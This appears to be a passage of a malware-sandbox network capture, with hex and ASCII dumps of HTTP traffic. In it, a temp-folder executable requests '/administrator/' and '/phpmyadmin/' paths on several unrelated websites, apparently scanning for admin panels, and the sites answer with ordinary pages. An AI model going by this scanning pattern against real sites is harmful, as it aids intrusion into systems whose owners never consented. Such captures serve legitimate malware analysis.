2023-12-20 02:13:24 UTC	330	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:24 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:24 UTC	7862	IN	Data Raw: 31 66 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 Data Ascii: 1f13<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – Active Graphics</title><met
2023-12-20 02:13:24 UTC	99	IN	Data Raw: 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 Data Ascii: : auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: le
2023-12-20 02:13:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:24 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 Data Ascii: 1ff8ft;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !impor
2023-12-20 02:13:24 UTC	5	IN	Data Raw: 36 62 36 0d 0a Data Ascii: 6b6
2023-12-20 02:13:24 UTC	1718	IN	Data Raw: 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 25 37 43 52 6f 62 6f 74 6f 2b 53 6c 61 62 25 33 41 31 30 30 25 32 43 31 30 30 69 74 61 6c 69 63 25 32 43 32 30 30 25 32 43 32 30 30 69 74 61 6c 69 63 25 32 43 33 30 30 25 32 43 33 30 30 69 74 61 6c 69 63 25 32 43 34 30 30 25 32 43 34 30 30 69 74 61 6c 69 63 25 32 43 35 30 30 25 32 43 35 30 30 69 74 61 6c 69 63 25 32 43 36 30 30 25 32 43 36 30 30 69 74 61 6c 69 63 25 32 43 37 30 30 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 26 23 30 33 38 3b 76 65 72 3d 36 2e 34 Data Ascii: %2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=swap&ver=6.4
2023-12-20 02:13:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	54905	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	188	OUT	GET /administrator/ HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	580	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:24 GMT X-Served-By: cache-pdk-kpdk1780040-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038404.225525,VS0,VE34 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:24 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:24 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:24 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:24 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	54808	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	332	OUT	GET /phpmyadmin/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_dV4p3s1imHiMwQaBshk9GRYM6anWDfUO731frq4kC1W3l/d/SXUEQ8aXEl9Xke4Nu+8100pu1IWSFW6HpCFbFA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	54679	209.126.24.60	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	269	OUT	GET /administrator/ HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=418218dce1ee6c20da692277ffb53164 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=418218dce1ee6c20da692277ffb53164; expires=Wed, 20-Dec-2023 03:13:24 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:40 GMT
2023-12-20 02:13:24 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:24 UTC	970	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 8000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 09 Data Ascii: at: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: auto;
2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f 64 79 22 0a 20 20 20 20 Data Ascii: pt>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="body"
2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d 22 3a 20 7b 0a 20 20 20 Data Ascii: <span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form": {
2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 Data Ascii: :{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal\/totals
2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 61 6c 73 3c 2f 73 70 61 Data Ascii: ://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Minerals</spa
